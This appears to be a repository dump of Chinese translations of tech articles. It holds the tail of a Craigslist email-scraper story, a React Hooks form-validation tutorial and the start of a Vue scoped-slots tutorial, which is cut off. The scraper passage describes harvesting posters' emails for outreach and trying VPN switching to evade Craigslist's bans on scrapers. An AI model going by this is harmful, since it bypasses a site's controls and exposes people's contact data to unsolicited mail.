是我所使用的工具中，最好用的一个\n\n令我不敢相信的是，我的方法起作用了。\n\n首先，**限制列举数量**。我的数据没有包含西雅图**所有**可用职位的公告。返回的结果只是整个结果的一个子集。我希望尽可能地把范围扩大，所以我需要知道所有可用的职位清单。\n\n其次，我意识到 RSS 提要 **不包含任何联系信息**。这确实有点让人失望。我可以找到这些清单，但是我无法联系这些发布者，除非我手动过滤这些清单。\n\n![](https://cdn-images-1.medium.com/max/800/1*Uz73WPgVsJcy6Xievjcpgg.png)\n\nCraigslist 回复链接的截图\n\n我是一个有很多技能而且有很多兴趣的人，但是重复手动工作并不是其中之一。我本可以雇用别人帮我做这件事，但是我仅能用一美元的拉面勉强维持生活，所有这就意味着我不能在这个附带的项目上任意挥霍。\n\n这是死胡同，但并不意味着**结束**。\n\n### 持续迭代\n\n从第一次失败的尝试中，我了解到 Craigslist 有 RSS 提要，并且每个博客都有转到真实博客本身的链接。\n\n很好，如果我可以访问真实的博客，那么也许我可以爬取它的电子邮箱地址？🧐 这意味着我需要找到一种方法从原始博客中获取电子邮件地址。\n\n这一次，我依旧找到了我所信任的 Google，搜索 “ways to parse a website。”\n\n在 Google 上，我发现了一个很酷的 Python 小功能，叫做 [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/)。本质上，它是一个很好工具，允许你解析整个 [DOM 树](https://www.w3schools.com/js/js_htmldom.asp)，并帮助你理解网页的结构。\n\n我的需求很简单：我需要一个易于使用的工具，可以让我从网页上收集数据。BeautifulSoup 检查了这两个盒子而不是花更多的时间挑选**最好的工具**，我选择了一个有用的工具，然后继续下去。这里是具有相似操作的[可选列表](https://www.quora.com/What-are-some-good-Python-libraries-for-parsing-HTML-other-than-Beautiful-Soup) 。\n\n![](https://cdn-images-1.medium.com/max/800/1*fiIuenHyDFq0-u29iRjSPw.png)\n\nBeautifulSoup 的主页\n\n> 小贴士：我发现一个很优秀的[指南](https://medium.freecodecamp.org/how-to-scrape-websites-with-python-and-beautifulsoup-5946935d93fe)，它描述了如何使用 Python 和 BeautifulSoup 进行网页抓取。如果你有兴趣学习如何爬虫，那么我建议你阅读它。\n\n有了这个新工具，我的工作流也就设置好了。\n\n![](https://cdn-images-1.medium.com/max/1000/1*YIz3i_2XwGBtdFkDVecEng.png)\n\n我的工作流\n\n我现在已经准备好进行下一个任务了：从实际的博客中抓取电子邮件地址。\n\n现在，关于开源技术，有件很酷的事情。他们是自由的而且工作很棒！这就像在炎炎夏日里免费吃冰淇**和**一块新烤好的巧克力曲奇饼一样。\n\nBeautifulSoup 允许你在网页上搜索特定的 HTML tag 或者 marker。而且 Craigslist 已经把它们处理的很好了，所以找到电子邮件地址轻而易举。tag 是类似于 “email-reply-link” 这样的东西，它基本上已经说明了电子邮件链接是可用的。\n\n自此以后，一起都变得简单了。我依赖于 BeautifulSoup 提供的内置功能，只需使用一些简单的操作，我就可以很容易的从 Craigslist 博客中获取电子邮件地址。\n\n### 进行内容组合\n\n不到一小时，我就有了自己的第一个 MVP，我已经建立了一个网页爬虫，可以收集电子邮件地址，并回复西雅图半径 100 英里范围内寻找软件工程师的人。\n\n![](https://cdn-images-1.medium.com/max/800/1*xzmVR8pbbBgB-f1JR9s1mg.png)\n\n代码截图\n\n我在原始脚本的基础上添加了各种附加组件，来得到更好的效果。例如，我将结果保存在 CSV 和 HTML 页面中，以便可以更快速地解析它们。\n\n当然还有许多其他值得注意的特点，例如：\n\n*   记录我发送电子邮件地址的能力\n*   疲劳规则可以防止向我已经接触过的人发送电子邮件的特殊情况\n*   特列，一些邮件在显示之前，需要验证码，以防止机器人操作（就像我这样的）\n*   Craigslist 不允许爬虫在它们的网页上，所以如果我运行的太频繁，就会被禁止操作。（我试图在不同的 VPN 之间切换，来“欺骗” Craigslist,但是不起作用）。\n*   我仍然无法检索 Craigslist 上的**所有**帖子\n\n最后一个是 kicker。但我认为如果一个帖子已经存在一段时间，那么发帖人可能无法在找到。这需要权衡，但我应该可以处理。\n\n整个体验就像是 [Tetris](https://en.wikipedia.org/wiki/Tetris)。我知道我的最终目标是什么，而我真正的挑战是把合适的部分组合在一起以实现特定的最终目标。每一个拼图都给我带来了不同的旅程。虽然这很有挑战性，但我却乐在其中，而且每一次我都会学到新的东西。 \n\n### 学到的教训\n\n这是一次让人大开眼界的经验，我最终学习了一些关于互联网（和 Craigslist）如何运行的知识，各种不同的工具如何协同工作来解决一个问题，而且我得到了一个很酷的小故事，我可以和朋友分享这些。\n\n从某种意义上说，这就像现在的技术是如何工作的。你发现了一个你需要解决的巨大而复杂的问题。而你看不到任何直接的、明显的解决方案。你把这个大而复杂的问题分解成多个不同的可管理的块，然后依次解决每一个块。\n\n回顾过去，我的问题是：**我如何才能利用互联网上这个优秀的目录，迅速接触到有特定兴趣的人？** 当时没有已知的产品或解决方案，所以我把它分解成多个部分：\n\n1.  查找平台上的所有列表\n2.  收集有关每个列表的联系信息\n3.  如果有联系信息，就发送一封邮件\n\n这就是它的全部。**技术只是作为达到目的手段**。如果我能用 Excel 电子表格来帮我做，我会选择这样做。然而，我不是 Excel 大师，所以我采用了当时对我最有意义的方法。\n\n#### 有待改进的地方\n\n我还有很多地方可以改进：\n\n*   我选择了一门并不熟悉的语言开始，所以一开始会存在学习曲线。还好并不算太糟糕，因为 Python 非常容易掌握。所以我强烈建议任何一个软件爱好者使用它作为第一门语言。\n*   **过度依赖开源技术，开源软件自己也存在的一系列问题。** 我使用的多个库不再处于积极的开发阶段，因此我很早就遇到了问题，我无法导入库，或者库因为一些看似无害的原因而失败。\n*   **独自处理一个项目可能很有趣，但是同时带来的压力也不容小觑**。你需要很大的动力才可以获取这些东西。这个项目快速而简单，但是我仍然花了几个周末来改进。随着项目的进行，我开始失去了动力，找到工作后，我完全放弃了这个项目。\n\n### 我使用的资源和工具\n\n[The Hitchhiker’s Guide to Python](https://amzn.to/2J73RtJ) —— 总的来说，这是一本学习 Python 的好书。我推荐 Python 作为初学者的第一门编程语言，在我的[文章](https://medium.freecodecamp.org/how-i-landed-offers-from-microsoft-amazon-and-twitter-without-an-ivy-league-degree-d62cfe286eb8)中，我讨论了如何使用它获取来自多家顶级公司的报价。\n\n[BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/) —— 用于构建我的网络爬虫的实用性工具。\n\n[Web Scraping with Python](https://amzn.to/2sa43xR) —— 学习如何使用 Python 进行 web 抓取的实用性指南。\n\n[Lean Startup](https://amzn.to/2GLnRN6) —— 从这本书中，我学到了快速原型和创建一个 MVP 来测试的想法。我认为这里的想法适用于许多不同的领域，它也帮助我完成了这个项目。\n\n[Evernote](http://evernote.com) —— 我使用 Evernote 来为这篇文章组织我的想法。强烈推荐它 —— 我使用它来做我做的**每一件事**。\n\n[我的笔记本电脑](https://amzn.to/2s9sziy) —— 这是我目前在家用的笔记本电脑，设置为一个工作站。与一台旧的 BenQ 笔记本相比，使用它要**容易的多**，但两者都适用于一般的编程工作。\n\n**Credits:**\n\n[Brandon O’brien](https://twitter.com/hakczar)，我的良师益友，对于如何改进这篇文章进行校对，而且提供了有价值的反馈。\n\n[Leon Tager](https://twitter.com/OSPortfolio)，我的同事和朋友，用我迫切需要的经济智慧引领我，启迪我。\n\n你可以注册 ndustry news 和 random tidbits，并在我登录[的地方](http://eepurl.com/dnt9Sf)发布新文章时，成为第一个知道的人。\n\n* * *\n\n**Zhia Chong 是 Twitter 的软件工程师。他在西雅图的广告测量团队工作，评估广告客户的影响和投资回报率。该团队是** [**hiring**](https://careers.twitter.com/en/work-for-twitter/201803/software-engineer-backend-advertising-measurement.html)！\n\n**你可以在** [**Twitter**](https://twitter.com/zhiachong) **和** [**LinkedIn**](https://www.linkedin.com/in/zhiachong/) **上找到他。**\n\n感谢[开源 portfolio](https://medium.com/@osportfolio?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-built-an-async-form-validation-library-in-100-lines-of-code-with-react-hooks.md",
    "content": "> * 原文地址：[How I built an async form validation library in ~100 lines of code with React Hooks](https://medium.freecodecamp.org/how-i-built-an-async-form-validation-library-in-100-lines-of-code-with-react-hooks-81dbff6c4a04)\n> * 原文作者：[Austin Malerba](https://medium.com/@austinmalerba)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-built-an-async-form-validation-library-in-100-lines-of-code-with-react-hooks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-built-an-async-form-validation-library-in-100-lines-of-code-with-react-hooks.md)\n> * 译者：[Jerry-FD](https://github.com/Jerry-FD)\n> * 校对者：[yoyoyohamapi](https://github.com/yoyoyohamapi)，[Xuyuey](https://github.com/Xuyuey)，[xiaonizi1994](https://github.com/xiaonizi1994)\n\n# 如何用 React Hooks 打造一个不到 100 行代码的异步表单校验库\n\n![](https://cdn-images-1.medium.com/max/2706/1*EGRMyNT8x7gb0LdLmj4xMQ.png)\n\n表单校验是一件很棘手的事情。深入了解表单的实现之后，你会发现有大量的边界场景要处理。幸运的是，市面上有很多表单校验库，它们提供了必要的表计量（译注：如 dirty、invalid、inItialized、pristine 等等）和处理函数，来让我们实现一个健壮的表单。但我要使用 [React Hooks API](https://reactjs.org/docs/hooks-reference.html) 来打造一个 100 行代码以下的表单校验库来挑战自我。虽然 React Hooks 还在实验性阶段，但是这是一个 React Hooks 实现表单校验的证明。\n\n我要声明的是，我写的这个**库**确实是不到 100 行代码。但这个教程却有 200 行左右的代码，是因为我需要阐释清楚这个库是如何使用的。\n\n我看过的大多数表单库的新手教程都离不开三个核心话题：**异步校验**，表单联动：某些表单项的校验需要在**其他表单项改变时**触发，**表单校验效率**的优化。我非常反感那些教程把使用场景固定，而忽略其他可变因素的影响的做法。因为在真实场景中往往事与愿违，所以我的教程会尽量覆盖更多真实场景。\n\n我们的目标需要满足：\n\n* 同步校验单个表单项，包括当表单项的值发生变化时，会跟随变化的有依赖的表单项\n\n* 异步校验单个表单项，包括当表单项的值发生变化时，会跟随变化的有依赖的表单项\n\n* 在提交表单前，同步校验所有表单项\n\n* 在提交表单前，异步校验所有表单项\n\n* 尝试异步提交，如果表单提交失败，展示返回的错误信息\n\n* 给开发者提供校验表单的函数，让开发者能够在合适的时机，比如 onBlur 的时候校验表单\n\n* 允许单个表单项的多重校验\n\n* 当表单校验未通过时禁止提交\n\n* 表单的错误信息只在有错误信息变化或者尝试提交表单的时候才展示出来\n\n我们将会通过实现一个包含用户名，密码，密码二次确认的账户注册表单来覆盖这些场景。下面是个简单的界面，我们来一起打造这个库吧。\n\n```JSX\nconst form = useForm({\n  onSubmit,\n});\n\nconst usernameField = useField(\"username\", form, {\n  defaultValue: \"\",\n  validations: [\n    async formData => {\n      await timeout(2000);\n      return formData.username.length < 6 && \"Username already exists\";\n    }\n  ],\n  fieldsToValidateOnChange: []\n});\nconst passwordField = useField(\"password\", form, {\n  defaultValue: \"\",\n  validations: [\n    formData =>\n      formData.password.length < 6 && \"Password must be at least 6 characters\"\n  ],\n  fieldsToValidateOnChange: [\"password\", \"confirmPassword\"]\n});\nconst confirmPasswordField = useField(\"confirmPassword\", form, {\n  defaultValue: \"\",\n  validations: [\n    formData =>\n      formData.password !== formData.confirmPassword &&\n      \"Passwords do not match\"\n  ],\n  fieldsToValidateOnChange: [\"password\", \"confirmPassword\"]\n});\n\n// const { onSubmit, getFormData, addField, isValid, validateFields, submitted, submitting } = form\n// const { name, value, onChange, errors, setErrors, pristine, validate, validating } = usernameField\n```\n\n这是一个非常简单的 API，但着实给了我们很大的灵活性。你可能已经意识到了，这个接口包含两个名字很像的函数, validation 和 validate。validation 被定义成一个函数，它以表单数据和表单项的 name 为参数，如果验证出了问题，则返回一个错误信息，与此同时它会返回一个虚值（译者注：可转换为 false 的值）。另一方面，validate 函数会执行这个表单项的所有 validation 函数，并且更新这个表单项的错误列表。\n\n重中之重，我们需要一个来处理表单值的变化和表单提交的骨架。我们的第一次尝试不会包含任何校验，它仅仅用来处理表单的状态。\n\n```JSX\n// 跳过样板代码: imports, ReactDOM, 等等.\n\nexport const useField = (name, form, { defaultValue } = {}) => {\n  let [value, setValue] = useState(defaultValue);\n\n  let field = {\n    name,\n    value,\n    onChange: e => {\n      setValue(e.target.value);\n    }\n  };\n  // 注册表单项\n  form.addField(field);\n  return field;\n};\n\nexport const useForm = ({ onSubmit }) => {\n  let fields = [];\n\n  const getFormData = () => {\n    // 获得一个包含原始表单数据的 object\n    return fields.reduce((formData, field) => {\n      formData[field.name] = field.value;\n      return formData;\n    }, {});\n  };\n\n  return {\n    onSubmit: async e => {\n      e.preventDefault(); // 阻止默认表单提交\n      return onSubmit(getFormData());\n    },\n    addField: field => fields.push(field),\n    getFormData\n  };\n};\n\nconst Field = ({ label, name, value, onChange, ...other }) => {\n  return (\n    <FormControl className=\"field\">\n      <InputLabel htmlFor={name}>{label}</InputLabel>\n      <Input value={value} onChange={onChange} {...other} />\n    </FormControl>\n  );\n};\n\nconst App = props => {\n  const form = useForm({\n    onSubmit: async formData => {\n      window.alert(\"Account created!\");\n    }\n  });\n\n  const usernameField = useField(\"username\", form, {\n    defaultValue: \"\"\n  });\n  const passwordField = useField(\"password\", form, {\n    defaultValue: \"\"\n  });\n  const confirmPasswordField = useField(\"confirmPassword\", form, {\n    defaultValue: \"\"\n  });\n\n  return (\n    <div id=\"form-container\">\n      <form onSubmit={form.onSubmit}>\n        <Field {...usernameField} label=\"Username\" />\n        <Field {...passwordField} label=\"Password\" type=\"password\" />\n        <Field {...confirmPasswordField} label=\"Confirm Password\" type=\"password\" />\n        <Button type=\"submit\">Submit</Button>\n      </form>\n    </div>\n  );\n};\n```\n\n这里没有太难理解的代码。表单的值是我们唯一所关心的。每个表单项在它初始化结束之前把自身注册在表单上。我们的 onChange 函数也很简单。这里最复杂的函数就是 getFormData，即便如此，这也无法跟抽象的 reduce 语法相比。getFormData 遍历所有表单项，并返回一个 plain object 来表示表单的值。最后值得一提的就是在表单提交的时候，我们需要调用 preventDefault 来阻止页面重新加载。\n\n事情发展的很顺利，现在我们来把验证加上吧。当表单项的值发生变化或者提交表单的时候，我们不是指明哪些具体的表单项需要被校验，而是校验所有的表单项。\n\n```JSX\nexport const useField = (\n  name,\n  form,\n  { defaultValue, validations = [] } = {}\n) => {\n  let [value, setValue] = useState(defaultValue);\n  let [errors, setErrors] = useState([]);\n\n  const validate = async () => {\n    let formData = form.getFormData();\n    let errorMessages = await Promise.all(\n      validations.map(validation => validation(formData, name))\n    );\n    errorMessages = errorMessages.filter(errorMsg => !!errorMsg);\n    setErrors(errorMessages);\n    let fieldValid = errorMessages.length === 0;\n    return fieldValid;\n  };\n\n  useEffect(\n    () => {\n      form.validateFields(); // 当 value 变化的时候校验表单项\n    },\n    [value]\n  );\n\n  let field = {\n    name,\n    value,\n    errors,\n    validate,\n    setErrors,\n    onChange: e => {\n      setValue(e.target.value);\n    }\n  };\n  // 注册表单项\n  form.addField(field);\n  return field;\n};\n\nexport const useForm = ({ onSubmit }) => {\n  let fields = [];\n\n  const getFormData = () => {\n    // 获得一个 object 包含原始表单数据\n    return fields.reduce((formData, field) => {\n      formData[field.name] = field.value;\n      return formData;\n    }, {});\n  };\n\n  const validateFields = async () => {\n    let fieldsToValidate = fields;\n    let fieldsValid = await Promise.all(\n      fieldsToValidate.map(field => field.validate())\n    );\n    let formValid = fieldsValid.every(isValid => isValid === true);\n    return formValid;\n  };\n\n  return {\n    onSubmit: async e => {\n      e.preventDefault(); // 阻止表单提交默认事件\n      let formValid = await validateFields();\n      return onSubmit(getFormData(), formValid);\n    },\n    addField: field => fields.push(field),\n    getFormData,\n    validateFields\n  };\n};\n\nconst Field = ({\n  label,\n  name,\n  value,\n  onChange,\n  errors,\n  setErrors,\n  validate,\n  ...other\n}) => {\n  let showErrors = !!errors.length;\n  return (\n    <FormControl className=\"field\" error={showErrors}>\n      <InputLabel htmlFor={name}>{label}</InputLabel>\n      <Input\n        id={name}\n        value={value}\n        onChange={onChange}\n        onBlur={validate}\n        {...other}\n      />\n      <FormHelperText component=\"div\">\n        {showErrors &&\n          errors.map(errorMsg => <div key={errorMsg}>{errorMsg}</div>)}\n      </FormHelperText>\n    </FormControl>\n  );\n};\n\nconst App = props => {\n  const form = useForm({\n    onSubmit: async formData => {\n      window.alert(\"Account created!\");\n    }\n  });\n\n  const usernameField = useField(\"username\", form, {\n    defaultValue: \"\",\n    validations: [\n      async formData => {\n        await timeout(2000);\n        return formData.username.length < 6 && \"Username already exists\";\n      }\n    ]\n  });\n  const passwordField = useField(\"password\", form, {\n    defaultValue: \"\",\n    validations: [\n      formData =>\n        formData.password.length < 6 && \"Password must be at least 6 characters\"\n    ]\n  });\n  const confirmPasswordField = useField(\"confirmPassword\", form, {\n    defaultValue: \"\",\n    validations: [\n      formData =>\n        formData.password !== formData.confirmPassword &&\n        \"Passwords do not match\"\n    ]\n  });\n\n  return (\n    <div id=\"form-container\">\n      <form onSubmit={form.onSubmit}>\n        <Field {...usernameField} label=\"Username\" />\n        <Field {...passwordField} label=\"Password\" type=\"password\" />\n        <Field {...confirmPasswordField} label=\"Confirm Password\" type=\"password\" />\n        <Button type=\"submit\">Submit</Button>\n      </form>\n    </div>\n  );\n};\n\n```\n\n上面的代码是改进版，大体浏览一下似乎可以跑起来了，但是要做到[交付给用户](https://codesandbox.io/s/wy074qmk98?module=%2Fsrc%2FformHooks.js)还远远不够。这个版本丢掉了很多用于隐藏错误信息的标记态（译者注：flag），这些错误信息可能会在不恰当的时机出现。比如在用户还没修改完输入信息的时候，表单就立马校验并展示相应的错误信息了。\n\n最基本的，我们需要一些基础的标记状态来告知 UI，如果用户没有修改表单项的值，那么就不展示错误信息。再进一步，除了这些基础的，我们还需要一些额外的标记状态。\n\n我们需要一个标记态来记录用户已经尝试提交表单了，以及一个标记态来记录表单正在提交中或者表单项正在进行异步校验。你可能也想弄清楚我们为什么要在 useEffect 的内部调用 validateFields，而不是在 onChange 里调用。我们需要 useEffect 是因为 setValue 是异步发生的，它既不会返回一个 promise，也不会给我们提供一个 callback。因此，唯一能让我们确定 setValue 是否完成的方法，就是通过 useEffect 来监听值的变化。\n\n现在我们一起来实现这些所谓的标记态吧。用它们来更好的完善 UI 和细节。\n\n```JSX\nexport const useField = (\n  name,\n  form,\n  { defaultValue, validations = [], fieldsToValidateOnChange = [name] } = {}\n) => {\n  let [value, setValue] = useState(defaultValue);\n  let [errors, setErrors] = useState([]);\n  let [pristine, setPristine] = useState(true);\n  let [validating, setValidating] = useState(false);\n  let validateCounter = useRef(0);\n\n  const validate = async () => {\n    let validateIteration = ++validateCounter.current;\n    setValidating(true);\n    let formData = form.getFormData();\n    let errorMessages = await Promise.all(\n      validations.map(validation => validation(formData, name))\n    );\n    errorMessages = errorMessages.filter(errorMsg => !!errorMsg);\n    if (validateIteration === validateCounter.current) {\n      // 最近一次调用\n      setErrors(errorMessages);\n      setValidating(false);\n    }\n    let fieldValid = errorMessages.length === 0;\n    return fieldValid;\n  };\n\n  useEffect(\n    () => {\n      if (pristine) return; // 避免渲染完成后的第一次校验\n      form.validateFields(fieldsToValidateOnChange);\n    },\n    [value]\n  );\n\n  let field = {\n    name,\n    value,\n    errors,\n    setErrors,\n    pristine,\n    onChange: e => {\n      if (pristine) {\n        setPristine(false);\n      }\n      setValue(e.target.value);\n    },\n    validate,\n    validating\n  };\n  form.addField(field);\n  return field;\n};\n\nexport const useForm = ({ onSubmit }) => {\n  let [submitted, setSubmitted] = useState(false);\n  let [submitting, setSubmitting] = useState(false);\n  let fields = [];\n\n  const validateFields = async fieldNames => {\n    let fieldsToValidate;\n    if (fieldNames instanceof Array) {\n      fieldsToValidate = fields.filter(field =>\n        fieldNames.includes(field.name)\n      );\n    } else {\n      // 如果 fieldNames 缺省，则验证所有表单项\n      fieldsToValidate = fields;\n    }\n    let fieldsValid = await Promise.all(\n      fieldsToValidate.map(field => field.validate())\n    );\n    let formValid = fieldsValid.every(isValid => isValid === true);\n    return formValid;\n  };\n\n  const getFormData = () => {\n    return fields.reduce((formData, f) => {\n      formData[f.name] = f.value;\n      return formData;\n    }, {});\n  };\n\n  return {\n    onSubmit: async e => {\n      e.preventDefault();\n      setSubmitting(true);\n      setSubmitted(true); // 用户已经至少提交过一次表单\n      let formValid = await validateFields();\n      let returnVal = await onSubmit(getFormData(), formValid);\n      setSubmitting(false);\n      return returnVal;\n    },\n    isValid: () => fields.every(f => f.errors.length === 0),\n    addField: field => fields.push(field),\n    getFormData,\n    validateFields,\n    submitted,\n    submitting\n  };\n};\n\nconst Field = ({\n  label,\n  name,\n  value,\n  onChange,\n  errors,\n  setErrors,\n  pristine,\n  validating,\n  validate,\n  formSubmitted,\n  ...other\n}) => {\n  let showErrors = (!pristine || formSubmitted) && !!errors.length;\n  return (\n    <FormControl className=\"field\" error={showErrors}>\n      <InputLabel htmlFor={name}>{label}</InputLabel>\n      <Input\n        id={name}\n        value={value}\n        onChange={onChange}\n        onBlur={() => !pristine && validate()}\n        endAdornment={\n          <InputAdornment position=\"end\">\n            {validating && <LoadingIcon className=\"rotate\" />}\n          </InputAdornment>\n        }\n        {...other}\n      />\n      <FormHelperText component=\"div\">\n        {showErrors &&\n          errors.map(errorMsg => <div key={errorMsg}>{errorMsg}</div>)}\n      </FormHelperText>\n    </FormControl>\n  );\n};\n\nconst App = props => {\n  const form = useForm({\n    onSubmit: async (formData, valid) => {\n      if (!valid) return;\n      await timeout(2000); // 模拟网络延迟\n      if (formData.username.length < 10) {\n        //模拟服务端返回 400 \n        usernameField.setErrors([\"Make a longer username\"]);\n      } else {\n        //模拟服务端返回 201 \n        window.alert(\n          `form valid: ${valid}, form data: ${JSON.stringify(formData)}`\n        );\n      }\n    }\n  });\n\n  const usernameField = useField(\"username\", form, {\n    defaultValue: \"\",\n    validations: [\n      async formData => {\n        await timeout(2000);\n        return formData.username.length < 6 && \"Username already exists\";\n      }\n    ],\n    fieldsToValidateOnChange: []\n  });\n  const passwordField = useField(\"password\", form, {\n    defaultValue: \"\",\n    validations: [\n      formData =>\n        formData.password.length < 6 && \"Password must be at least 6 characters\"\n    ],\n    fieldsToValidateOnChange: [\"password\", \"confirmPassword\"]\n  });\n  const confirmPasswordField = useField(\"confirmPassword\", form, {\n    defaultValue: \"\",\n    validations: [\n      formData =>\n        formData.password !== formData.confirmPassword &&\n        \"Passwords do not match\"\n    ],\n    fieldsToValidateOnChange: [\"password\", \"confirmPassword\"]\n  });\n\n  let requiredFields = [usernameField, passwordField, confirmPasswordField];\n\n  return (\n    <div id=\"form-container\">\n      <form onSubmit={form.onSubmit}>\n        <Field\n          {...usernameField}\n          formSubmitted={form.submitted}\n          label=\"Username\"\n        />\n        <Field\n          {...passwordField}\n          formSubmitted={form.submitted}\n          label=\"Password\"\n          type=\"password\"\n        />\n        <Field\n          {...confirmPasswordField}\n          formSubmitted={form.submitted}\n          label=\"Confirm Password\"\n          type=\"password\"\n        />\n        <Button\n          type=\"submit\"\n          disabled={\n            !form.isValid() ||\n            form.submitting ||\n            requiredFields.some(f => f.pristine)\n          }\n        >\n          {form.submitting ? \"Submitting\" : \"Submit\"}\n        </Button>\n      </form>\n    </div>\n  );\n};\n```\n\n最后一次尝试，我们加了很多东西进去。包括四个标记态：pristine、validating、submitted 和 submitting。还添加了 fieldsToValidateOnChange，将它传给 validateFields 来声明当表单的值发生变化的时候哪些表单项需要被校验。我们在 UI 层通过这些标记状态来控制何时展示错误信息和加载动画以及禁用提交按钮。\n\n你可能注意到了一个很特别的东西 validateCounter。我们需要记录 validate 函数的调用次数，因为 validate 在当前的调用完成之前，它有可能会被再次调用。如果是这种场景的话，我们应该放弃当前调用的结果，而只使用最新一次的调用结果来更新表单项的错误状态。\n\n一切就绪之后，这就是我们的成果了。\n\n- https://codesandbox.io/embed/x964kxp2vo\n\nReact Hooks 提供了一个简洁的表单校验解决方案。这是我使用这个 API 的第一次尝试。尽管有一点瑕疵，但是我依然感到了它的强大。这个接口有些奇怪，因为是按照我喜欢的样子来的。然而除了这些瑕疵以外，它的功能还是很强大的。\n\n我觉得它还少了一些特性，比如一个 callback 机制来表明何时 useState 更新 state 完毕，这也是一个在 useEffect hook 中检查对比 prop 变化的方法。\n\n### 后记\n\n为了保证这个教程的易于上手，我刻意省略了一些参数的校验和异常错误处理。比如，我没有校验传入的 form 参数是否真的是一个 form 对象。如果我能明确地校验它的类型并抛出一个详细的异常信息会更好。事实上，我已经写了，代码会像这样报错。\n\n```\nCannot read property ‘addField’ of undefined\n```\n\n在把这份代码发布成 npm 包之前，还需要合适的参数校验和异常错误处理。如我所说，如果你想深入了解的话，我已经用 [superstruct](https://github.com/ianstormtaylor/superstruct) 实现了一个包含参数校验的[更健壮的版本](https://codesandbox.io/s/1417995kx4)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-finally-got-my-head-around-scoped-slots-in-vue.md",
    "content": "> * 原文地址：[How I finally got my head around Scoped Slots in Vue](https://medium.com/@ross_65916/how-i-finally-got-my-head-around-scoped-slots-in-vue-c37238d4d4cc)\n> * 原文作者：[Ross Coundon](https://medium.com/@ross_65916)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/How-I-finally-got-my-head-around-Scoped-Slots-in-Vue.md](https://github.com/xitu/gold-miner/blob/master/TODO1/How-I-finally-got-my-head-around-Scoped-Slots-in-Vue.md)\n> * 译者：[shixi-li](https://github.com/shixi-li)\n> * 校对者：[brilliantGuo](https://github.com/brilliantGuo), [xionglong58](https://github.com/xionglong58)\n\n# 我最终是怎么玩转了 Vue 的作用域插槽\n\n<div align=\"center\"><img src=\"https://cdn-images-1.medium.com/max/800/1*zyNSb0UXhP8TfxYbj-GNWg.png\" height=\"400\" width=\"400\"></div>\n\nVue 是一个用于构建 Web 应用程序的前端框架，其设计方式使得开发人员可以非常快速地提高工作效率。该框架的各个方面都有很多资料，它的社区也每天都在不断成长。如果你读到了这篇文章，那么这些事儿你很可能已经知道咯。\n\n虽然我们可以快速直接地启动并运行它，但是框架里面那些更复杂和更强大的地方还是需要好好动动脑子才能理解（至少对我是这样）。其中一个是插槽，还有另一个与之相关但功能上不太相同的就是作用域插槽。我学习的时候花了好一阵才理解插槽工作的机制，所以我觉得将我对插槽的理解分享出来是有价值的，因为这没准会帮助到大家。\n\n## 插槽和具名插槽\n\n父组件以另外一种方式（不是通过常规的 Props 属性传递机制）向子组件传递信息。我发现把这种方法同常规的 HTML 元素联系起来很有帮助。\n\n比如说 HTML 标签。\n\n```\n<a href=”/sometarget\">This is a link</a>\n```\n\n比如在 Vue 环境中并且 <a> 是你的组件，那么你需要发送“This is a link”信息到‘a’组件里面，然后它将被渲染成为一个超链接，而“This is a link”就是这个链接的文本。\n\n让我们定义一个子组件来展示它的机制是怎样的：\n\n```\n<template>  \n  <div>  \n    <slot></slot>  \n  </div>  \n</template>\n```\n\n然后在父组件我们这么做：\n\n```\n<template>  \n  <div>  \n    <child-component>This is from outside</child-component>  \n  </div>  \n</template>\n```\n\n这时候屏幕上呈现的就应该和你预期的一样就是“This is from outside”，但这是由子组件所渲染出来的。\n\n我们还可以给子组件添加默认的信息，以免到时候这里出现什么都没有传入的情况，就像这样子：\n\n```\n<template>  \n  <div>  \n    <slot>Some default message</slot>  \n  </div>  \n</template>\n```\n\n然后如果我们像这样子创建我们的子组件：\n\n```\n<child-component>  \n</child-component>\n```\n\n我们可以看到屏幕上会呈现“Some default message”。\n\n具名插槽和常规插槽非常类似，唯一的差别就是你可以在你的目标组件多个位置传入你的文本。\n\n我们把子组件升级一下，让它有多个具名插槽\n\n```\n<template>  \n  <div>  \n    <slot>Some default message</slot>  \n    